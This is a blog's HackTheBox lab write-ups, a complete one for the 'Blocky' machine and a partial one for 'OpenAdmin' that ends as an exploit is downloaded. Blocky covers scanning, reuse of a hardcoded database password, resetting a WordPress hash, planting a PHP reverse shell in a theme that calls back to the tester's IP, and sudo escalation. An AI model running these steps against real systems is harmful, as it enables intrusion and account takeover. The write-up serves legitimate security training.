init infosec

Beating Blocky - HacktheBox 'Blocky' writeup

Mon, 21 Sep 2020 09:30:00 -0500

Beating Blocky - HacktheBox ‘Blocky’ writeup

Host Information

Hostname	IP Address	Operating System	Difficulty Level
Blocky	10.10.10.37	Linux	Easy

view all writeups here

Beating Blocky - HacktheBox ‘Blocky’ writeup

Initial Recon

nmap information

We start with initial recon of the target host, running an initial full TCP nmap scan of the host was run with the following command:

sudo nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/blocky/scans/_full_tcp_nmap.txt -oX /0ps/HTB/blocky/scans/xml/_full_tcp_nmap.xml 10.10.10.37

The following ports were revealed open on the target, followed by the full nmap script output below:

10.10.10.37

Port	State	Service	Version
21/tcp	open	ftp	ProFTPD 1.3.5a
22/tcp	open	ssh	OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
80/tcp	closed	http
8192/tcp	closed	sophos
25565/tcp	open	minecraft	Minecraft 1.11.2

# Nmap 7.80 scan initiated Mon Sep 21 09:48:42 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/blocky/scans/_full_tcp_nmap.txt -oX /0ps/HTB/blocky/scans/xml/_full_tcp_nmap.xml 10.10.10.37
Nmap scan report for 10.10.10.37
Host is up, received user-set (0.040s latency).
Scanned at 2020-09-21 09:48:42 CDT for 154s
Not shown: 65530 filtered ports
Reason: 65530 no-responses
PORT      STATE  SERVICE   REASON         VERSION
21/tcp    open   ftp       syn-ack ttl 63 ProFTPD 1.3.5a
22/tcp    open   ssh       syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXqVh031OUgTdcXsDwffHKL6T9f1GfJ1/x/b/dywX42sDZ5m1Hz46bKmbnWa0YD3LSRkStJDtyNXptzmEp31Fs2DUndVKui3LCcyKXY6FSVWp9ZDBzlW3aY8qa+y339OS3gp3aq277zYDnnA62U7rIltYp91u5VPBKi3DITVaSgzA8mcpHRr30e3cEGaLCxty58U2/lyCnx3I0Lh5rEbipQ1G7Cr6NMgmGtW6LrlJRQiWA1OK2/tDZbLhwtkjB82pjI/0T2gpA/vlZJH0elbMXW40Et6bOs2oK/V2bVozpoRyoQuts8zcRmCViVs8B3p7T1Qh/Z+7Ki91vgicfy4fl
|   256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNgEpgEZGGbtm5suOAio9ut2hOQYLN39Uhni8i4E/Wdir1gHxDCLMoNPQXDOnEUO1QQVbioUUMgFRAXYLhilNF8=
|   256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILqVrP5vDD4MdQ2v3ozqDPxG1XXZOp5VPpVsFUROL6Vj
80/tcp    closed http      reset ttl 63
8192/tcp  closed sophos    reset ttl 63
25565/tcp open   minecraft syn-ack ttl 63 Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X (91%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/h:hp:p2000_g3
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
Aggressive OS guesses: Linux 3.10 - 4.11 (91%), Linux 3.13 (88%), Linux 3.13 or 4.2 (88%), Linux 3.16 - 4.6 (88%), Linux 4.2 (88%), Linux 4.4 (88%), Linux 3.16 (87%), Linux 3.2 - 4.9 (87%), Linux 3.18 (85%), Linux 3.12 (85%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=9/21%OT=21%CT=80%CU=%PV=Y%DS=2%DC=T%G=N%TM=5F68BDE4%P=x86_64-pc-linux-gnu)
SEQ(SP=102%GCD=1%ISR=107%TI=Z%CI=RI%II=I%TS=8)
OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)
WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)
ECN(R=Y%DF=Y%TG=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%TG=40%W=7120%S=O%A=S+%F=AS%O=M54DST11NW7%RD=0%Q=)
T6(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)

Uptime guess: 198.047 days (since Sat Mar  7 07:43:07 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   41.31 ms 10.10.14.1
2   41.39 ms 10.10.10.37

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 21 09:51:16 2020 -- 1 IP address (1 host up) scanned in 155.15 seconds

nmap scan observations

We can tell the target is Linux, likely a variant of Ubuntu, based on both nmap’s OS scan, as well as the service banner grab of the SSH service. 5 services and ports are shown externally visible - ProFTPD 1.3.5a open on the FTP standard TCP port 21, SSH running OpenSSH 7.2p2 running on the standard TCP port 22, and HTTP (showing as closed) running on standard TCP port 80. Finally, two other less common services are shown - Sophos, which also shows as closed running on TCP port 8192, and Minecraft 1.11.2, running on TCP port 25565.

FTP enumeration

We can quickly verify FTP does not allow anonymous login, as shown below.

initinfosec@kali:/0ps/HTB/blocky/scans$ ftp 10.10.10.37
Connected to 10.10.10.37.
220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.10.37]
Name (10.10.10.37:initinfosec): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
Login failed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> bye
221 Goodbye.

Searching for vulnerabilities related to the FTP service on the target, we note few RCEs or unauthenticated file copy vulnerabilities for ProFTPD, but none that match the exact version installed on the target.

HTTP enumeration

A second scan of the HTTP service shows the port is open, running Apache 2.4.18 (Ubuntu), indicating that Sophos or another service may be providing some kind of rate limiting or DoS protection, though at this point it’s just conjecture and unconfirmed.

initinfosec@kali:/0ps/HTB/blocky/scans$ nmap -sC -sV -p 80 10.10.10.37
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-21 10:46 CDT
Nmap scan report for 10.10.10.37
Host is up (0.040s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.8
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: BlockyCraft &#8211; Under Construction!

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.83 seconds

Viewing the web page, we see the following main page:

Clicking the ‘Login’ link on the right brings us to a wordpress login page at http://10.10.10.37/wp-login.php

Additionally, running a nikto scan against the target shows the following:

initinfosec@kali:/0ps/HTB/blocky/scans$ nikto -ask=no -h http://10.10.10.37/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.37
+ Target Hostname:    10.10.10.37
+ Target Port:        80
+ Start Time:         2020-09-21 10:53:49 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: <http://10.10.10.37/index.php/wp-json/>; rel="https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ /phpmyadmin/: phpMyAdmin directory found
+ Cookie wordpress_test_cookie created without the httponly flag
+ OSVDB-3268: /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information
+ /wp-login.php: Wordpress login found
+ 8016 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2020-09-21 11:00:30 (GMT-5) (401 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Per the nikto scan, the Akismet plugin readme was found at http://10.10.10.37/wp-content/plugins/akismet/readme.txt The following was found in the readme header, with the ‘tested up to’ heading indicating the potential wordpress version of 4.7.4.

Requires at least: 3.7
Tested up to: 4.7.4
Stable tag: 3.3.2

Additionally the Akismet plugin version is likely 3.3.2, as shown below:

== Changelog ==

= 3.3.2 =
*Release Date - 10 May 2017*

* Fixed a bug causing JavaScript errors in some browsers.

We can then run the tool wpscan with wpscan --url http://10.10.10.37 -e to enumerate users and plugins, and the following users were found:

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <==========================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] notch
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://10.10.10.37/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Notch
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

We then run a gobuster enumeration script to crawl the web server for content, which yielded the following:

initinfosec@kali:/0ps/HTB/blocky/scans$ gobuster dir -u http://10.10.10.37:80/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -
z -k -l -x "txt,html,php,asp,aspx,jsp"

/index.php (Status: 301) [Size: 0]
/index.php (Status: 301) [Size: 0]
/javascript (Status: 301) [Size: 315]
/license.txt (Status: 200) [Size: 19935]
/phpmyadmin (Status: 301) [Size: 315]
/plugins (Status: 301) [Size: 312]
/readme.html (Status: 200) [Size: 7413]
/server-status (Status: 403) [Size: 299]
/wiki (Status: 301) [Size: 309]
/wp-admin (Status: 301) [Size: 313]
/wp-blog-header.php (Status: 200) [Size: 0]
/wp-config.php (Status: 200) [Size: 0]
/wp-content (Status: 301) [Size: 315]
/wp-cron.php (Status: 200) [Size: 0]
/wp-links-opml.php (Status: 200) [Size: 219]
/wp-includes (Status: 301) [Size: 316]
/wp-load.php (Status: 200) [Size: 0]
/wp-login.php (Status: 200) [Size: 2402]
/wp-mail.php (Status: 403) [Size: 3444]
/wp-signup.php (Status: 302) [Size: 0]
/wp-trackback.php (Status: 200) [Size: 135]

Going to the wiki page at http://10.10.10.37/wiki/ shows a flat page with the following information:

Under Construction

Please check back later! We will start publishing wiki articles after we have finished the main server plugin!

The new core plugin will store your playtime and other information in our database, so you can see your own stats!

We can view the wordpress plugins directory at http://10.10.10.37/plugins/, noting two publicly accessible files, BlockyCore.jar and griefprevention-1.11.2-3.1.1.298.jar

Let’s save the jar files locally to our assessing system, and extract them with the jar xvf \<jar file\> command, like shown below:

initinfosec@kali:/0ps/HTB/blocky/loot$ jar xvf BlockyCore.jar                                                                           
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
 inflated: META-INF/MANIFEST.MF
 inflated: com/myfirstplugin/BlockyCore.class 

Viewing the BlockyCore.class file within the BlockyCore jar file shows the following:

initinfosec@kali:/0ps/HTB/blocky/loot/com/myfirstplugin$ cat BlockyCore.class
4-com/myfirstplugin/BlockyCorejava/lang/ObjectsqlHostLjava/lang/String;sqlUsersqlPass<init>()VCode


        localhost
                       root
                               8YsqfCTnvxAUeduzjNSXe22
onServerStart                                          LineNumberTableLocalVariableTablethisLcom/myfirstplugin/BlockyCore;
             onServerStop
                         onPlayerJoi"TODO get usernam$!Welcome to the BlockyCraft!!!!!!!
&
 '(
   sendMessage'(Ljava/lang/String;Ljava/lang/String;)usernamemessage
SourceFileBlockyCore.java!

Q*
  ***

Checking the PHPMyAdmin (PMA) page found in gobuster, we can confirm the PMA application is on the target webserver, found at http://10.10.10.37/phpmyadmin/

Trying the credentials “root/8YsqfCTnvxAUeduzjNSXe22” on the PMA login page allows for a successful login, as shown below.

Once logged in, we can see the PHPMyAdmin version is 4.5.4. Additionally, we can browse the database tables via PHPMyAdmin, finding a wordpress table in the database. Viewing the WP-Users table shows the credentials for the wordpress user ‘notch’ found earlier in the wpscan results, shown below.

From here we find the following wordpress user information:

username: notch
user email: notch@blockcraftfake.com
user_pass: $P$BiVoTj899ItS1EZnMhqeqVbrZI4Oq0/

The password field for the notch user is a PHPass hash, which we can add into a file called notch.pass, and attempt to crack the hash using john, with the following syntax:

john notch.pass --wordlist:/usr/share/wordlists/rockyou.txt

However, we can also directly edit the password, since we have access to the database within PHPMyAdmin. Keep in mind that this would be noisy in real-life and you would not want to perform this in a real engagement, but for practise purposes, let’s proceed. We can use this site to generate a PHPass hash. We’ll start with the cleartext “notchpassw123” which translates to “$P$BO5ZJXfewrETZDOtcevC9h9jzMr3hD0”

Selecting the “edit” button on the wp_users table in PMA, we can replace the user_pass field, finding it is successfully updated once we hit “Go” as evidenced below.

Trying the wp-login.php page again with the credentials “notch / notchpass123” now allows for successful login, as evidenced by the screenshot below.

gaining an initial foothold

From here we can edit the PHP theme under Appearance settings to include a PHP reverse shell, so that when we refresh that page, we can have the webserver execute our malicious code giving us a reverse shell locally. To set this up, let’s start by copying a local webshell to our current working directory, and changing the IP and port to the appropriate values for our own system.

initinfosec@kali:/0ps/HTB/blocky/exploit$ cp /usr/share/webshells/php/php-reverse-shell.php rev.php
initinfosec@kali:/0ps/HTB/blocky/exploit$ vim rev.php
initinfosec@kali:/0ps/HTB/blocky/exploit$ grep -i change rev.php 
$ip = '10.10.14.17';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

Now we can edit the theme by going to Appearance > Editor, and select a php theme element we know that will appear on any page in the wordpress site. For me, I’ll select footer.php. From here we can edit the theme, copying the contents of rev.php and pasting it within the theme, as shown below.

Once pasted, we’ll start a listener with nc -lvnp 1234, and then select “Update File” to commit the changes to the wordpress theme. Once saved, we’ll hit the home icon for the blockycraft worpdress main page. As soon as the HTTP request is sent, we find we’ve received a shell locally from the target, as shown below.

Lateral Movement

Enumeration

Viewing the home directory for ‘notch’ it appears we do not have access to the user.txt file, thus we need to laterally move to this user.

We find an interesting directory ‘minecraft’ in notch’s home directory. Browsing a bit through this directory as most of the files can be read by other users yields an interesting file, config.yml, with the contents shown below:

www-data@Blocky:/home/notch/minecraft/config/nuvotifier$ cat config.yml
cat config.yml
# The IP to listen to. Use 0.0.0.0 if you wish to listen to all interfaces on your server. (All IP addresses)
# This defaults to the IP you have configured your server to listen on, or 0.0.0.0 if you have not configured this.
host: 127.0.0.1

# Port to listen for new votes on
port: 8192

# Whether or not to print debug messages. In a production system, this should be set to false.
# This is useful when initially setting up NuVotifier to ensure votes are being delivered.
debug: false

# Setting this value to false will turn off the votifier port listening for external votes. This is beneficial if the server
# is only listening for votes coming from NuVotifier running on your BungeeCord.
enableExternal: true

# Setting this option to true will disable handling of Protocol v1 packets. While the old protocol is not secure, this
# option is currently not recommended as most voting sites only support the old protocol at present. However, if you are
# using NuVotifier's proxy forwarding mechanism, enabling this option will increase your server's security.
disable-v1-protocol: false

# All tokens, labeled by the serviceName of each server list.
tokens:
  # Default token for all server lists, if another isn't supplied.
  default: atksa8vubshu31vktargk27c6v

# Configuration section for all vote forwarding to NuVotifier
forwarding:
  # Sets whether to set up a remote method for fowarding. Supported methods:
  # - none - Does not set up a forwarding method.
  # - pluginMessaging - Sets up plugin messaging
  method: none
  pluginMessaging:
    channel: NuVotifier

Additionally in the same nuvotifier directory there is a sub-directory called rsa, which we see contains a keypair belonging to the notch user, as demonstrated in the next screenshot.

Let’s copy the contents of the private key on the local system, and chmod 600 the file. However, trying the rsa keys with SSH, we see it does not allow us access to blocky, as shown with the command below:

initinfosec@kali:/0ps/HTB/blocky/loot$ ssh notch@10.10.10.37 -i private.key 
load pubkey "private.key": invalid format
Load key "private.key": invalid format
notch@10.10.10.37's password: 

Looking further, we see two processes running as notch on the server, shown below using the ps command:

www-data@Blocky:/home/notch/minecraft/config/nuvotifier/rsa$ ps -ef | grep notch
notch      1217      1  0 09:51 ?        00:00:00 SCREEN -dmS blockycraft java -Xms500M -Xmx500M -jar ./sponge.jar nogui
notch      1222   1217  1 09:51 pts/0    00:03:47 java -Xms500M -Xmx500M -jar ./sponge.jar nogui
www-data   2355   2211  0 14:14 pts/1    00:00:00 grep notch

So it seems clear that minecraft related proccesses are runnig as the user notch, which is good to note, but may not necessarily be the vector to lateral movement.

Gaining User Access

However, taking a step back, we find trying something simpler works to gain an initial foothold. Using the password found for the MySQL root user/PMA login worked for the notch user, as evidenced below.

Privilege Escalation

PrivEsc Enumeration

From earlier, we noticed a file within notch’s home directory .sudo_as_admin_successful, indicating the user notch may hae sudo privileges. Running a sudo -l confirms this, with the results of the command shown below:

notch@Blocky:~$ sudo -l
[sudo] password for notch: 
Matching Defaults entries for notch on Blocky:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky:
    (ALL : ALL) ALL

Using the sudo privileges, we can trivially gain a root shell, running sudo su -, as shown below.

Conclusion

Recommended Remediations

Avoid having credentials in cleartext within configuration and program files, if possible, such as in the block.jar file where credentials were noted during the course of the assessment.
Additionally, try to avoid credential re-use, either using the same password for different users, or even the same user with different services.
Consider moving the two plugin files found on the webserver away from a publiclly accessible location, if they are not needed there. If they are, either removing credentials from the file, or securing then in a sufficient manner (such as a strong salted hash) should help reduce some risk.
As always, perform regular audits of user accounts and permissions; for example, audit regularly whether users, such as notch need full sudo permissions. It is best to give users and accounts the least amount of permissions needed to perform tasks on the system and their jobs, so as to reduce risk surface area.

All for now; until next time.

~@initinfosec

Owning OpenAdmin - HacktheBox 'OpenAdmin' writeup

Mon, 31 Aug 2020 14:00:00 -0500

Owning OpenAdmin - HacktheBox ‘OpenAdmin’ writeup

Host Information

Hostname	IP Address	Operating System	Difficulty Level
OpenAdmin	10.10.10.171	Linux	Easy

view all writeups here

Owning OpenAdmin - HacktheBox ‘OpenAdmin’ writeup

Initial Recon

nmap information

An initial full TCP nmap scan of the host was run with the followiong command:

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/HTB/openadmin/scans/_full_tcp_nmap.txt" -oX "/HTB/openadmin/scans/xml/_full_tcp_nmap.xml" 10.10.10.171

The following ports were revealed open on the target, followed by the full nmap script ouput below:

10.10.10.171

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp	open	http	Apache httpd 2.4.29

nmap scan output

# Nmap 7.80 scan initiated Sat Aug 29 12:33:57 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /HTB/openadmin/scans/_full_tcp_nmap.txt -oX /HTB/openadmin/scans/xml/_full_tcp_nmap.xml 10.10.10.171

Nmap scan report for 10.10.10.171
Host is up, received user-set (0.045s latency).
Scanned at 2020-08-29 12:33:58 CDT for 58s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcVHOWV8MC41kgTdwiBIBmUrM8vGHUM2Q7+a0LCl9jfH3bIpmuWnzwev97wpc8pRHPuKfKm0c3iHGII+cKSsVgzVtJfQdQ0j/GyDcBQ9s1VGHiYIjbpX30eM2P2N5g2hy9ZWsF36WMoo5Fr+mPNycf6Mf0QOODMVqbmE3VVZE1VlX3pNW4ZkMIpDSUR89JhH+PHz/miZ1OhBdSoNWYJIuWyn8DWLCGBQ7THxxYOfN1bwhfYRCRTv46tiayuF2NNKWaDqDq/DXZxSYjwpSVelFV+vybL6nU0f28PzpQsmvPab4PtMUb0epaj4ZFcB1VVITVCdBsiu4SpZDdElxkuQJz
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHqbD5jGewKxd8heN452cfS5LS/VdUroTScThdV8IiZdTxgSaXN1Qga4audhlYIGSyDdTEL8x2tPAFPpvipRrLE=
|   256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBcV0sVI0yWfjKsl7++B9FGfOVeWAIWZ4YGEMROPxxk4
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 (Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Oracle VM Server 3.4.2 (Linux 4.1) (93%), Android 4.1.1 (92%), Linux 3.18 (92%), Android 4.2.2 (Linux 3.4) (92%)
No exact OS matches for host (If you know what OS is running on it, see (https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/29%OT=22%CT=1%CU=34001%PV=Y%DS=2%DC=T%G=Y%TM=5F4A91C
OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)OPS(O1=M
OS:54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%
OS:O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%
OS:DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=
OS:0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF
OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=
OS:%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%
OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 29.122 days (since Fri Jul 31 09:39:04 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   43.43 ms 10.10.14.1
2   43.37 ms 10.10.10.171

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at (https://nmap.org/submit/ .
# Nmap done at Sat Aug 29 12:34:56 2020 -- 1 IP address (1 host up) scanned in 60.98 seconds

nmap scan observations

We can see that the target is Linux, probably Ubuntu based on the OS detection and service scans from the SSH service. Some quick searching of the OpenSSH service version shows the Ubuntu version is likely Bionic or later [source here]. We see only two services externally open - HTTP on it’s standard port of TCP 80, running appache 2.4.29. Additionally, SSH is running on it’s standard TCP port 22, showing OpenSSH 7.6p1.

HTTP Enumeration

Beginning by examining the HTTP service, we see there is no robots.txt file on the server. A nikto scan was run against the server but does not provide much information, with the results shown below:

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.171
+ Target Hostname:    10.10.10.171
+ Target Port:        80
+ Start Time:         2020-08-29 12:34:10 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 597dbd5dcea8b, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD 
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7863 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2020-08-29 12:41:39 (GMT-5) (449 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Going to the main page of the HTTP service we simply find an Apache test page. A gobuster enumeration script was run to crawl the web service to enumerate pages using the following command:

gobuster dir -u http://10.10.10.171:80/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -z -k -l -x "txt,html,php,asp,aspx,jsp" -o "/HTB/openadmin/scans/tcp_80_http_gobuster.txt"

The following results were found, filtering out for HTTP 403 statuses.

/artwork (Status: 301) [Size: 314]
/index.html (Status: 200) [Size: 10918]
/index.html (Status: 200) [Size: 10918]
/music (Status: 301) [Size: 312]

Viewing the artwork page, we’re greeted wit hthe following, actually showing as “Arcwork” with a C:

Viewing the music page, we see the following:

Both sites state that the theme is provided by colorlib - going to the colorlib link provided shows the following on Colorlib’s site:

“colorlib.

We change everything WordPress. One WP theme at a time.”

Running a larger wordlist against the site, we also see a page called “sierra,” which is shown below:

There’s a contact page on the Sierra site, and viewing the source we can see a linked js file for the contact page at view-source:http://10.10.10.171/sierra/js/contact.js which provides information about required fields and field lengths. Sending a test message on the contact page shows that a POST request is sent to http://10.10.10.171/sierra/contact_process.php with the following body:

name=test&email=test%40test.local&subject=test&message=this+is+a+test+message+more+than+20+chars+-+let's+see+what+happens&0=n&1=a&2=m&3=e&4=%3D&5=t&6=e&7=s&8=t&9=%26&10=e&11=m&12=a&13=i&14=l&15=%3D&16=t&17=e&18=s&19=t&20=%25&21=4&22=0&23=t&24=e&25=s&26=t&27=.&28=l&29=o&30=c&31=a&32=l&33=%26&34=s&35=u&36=b&37=j&38=e&39=c&40=t&41=%3D&42=t&43=e&44=s&45=t&46=%26&47=m&48=e&49=s&50=s&51=a&52=g&53=e&54=%3D&55=t&56=h&57=i&58=s&59=%25&60=2&61=0&62=i&63=s&64=%25&65=2&66=0&67=a&68=%25&69=2&70=0&71=t&72=e&73=s&74=t&75=%25&76=2&77=0&78=m&79=e&80=s&81=s&82=a&83=g&84=e&85=%25&86=2&87=0&88=m&89=o&90=r&91=e&92=%25&93=2&94=0&95=t&96=h&97=a&98=n&99=%25&100=2&101=0&102=2&103=0&104=%25&105=2&106=0&107=c&108=h&109=a&110=r&111=s&112=%25&113=2&114=0&115=-&116=%25&117=2&118=0&119=l&120=e&121=t&122='&123=s&124=%25&125=2&126=0&127=s&128=e&129=e&130=%25&131=2&132=0&133=w&134=h&135=a&136=t&137=%25&138=2&139=0&140=h&141=a&142=p&143=p&144=e&145=n&146=s

A brief bit of time was spent with tampering this message format to see if any kind of command injection, LFI, or RFI could be achieved, but beared no fruit.

Going back to the “Music” page, we see a Login link on the top right, which brings us to a page http://10.10.10.171/ona/, shown below:

This page seems to identify OpenNetAdmin 18.1.1 running. Looking through EDB, we can see some RCE exploits which exist for the service, shown below:

initinfosec@kali:/0ps/HTB/openadmin/exploit$ searchsploit opennetadmin 18.1
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                         |  Path
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)                                                           | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                                                                            | php/webapps/47691.sh
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Going to the Menu option on the left and clicking User Info, we can see the following:

Clicking on DNS Domains, which showed a value of “1”, we see the following domain listed: openadmin.htb - let’s add that to our /etc/hosts file.

gaining an initial foothold

Let’s download the bash script version of the exploit shown above with searchsploit -m 47691

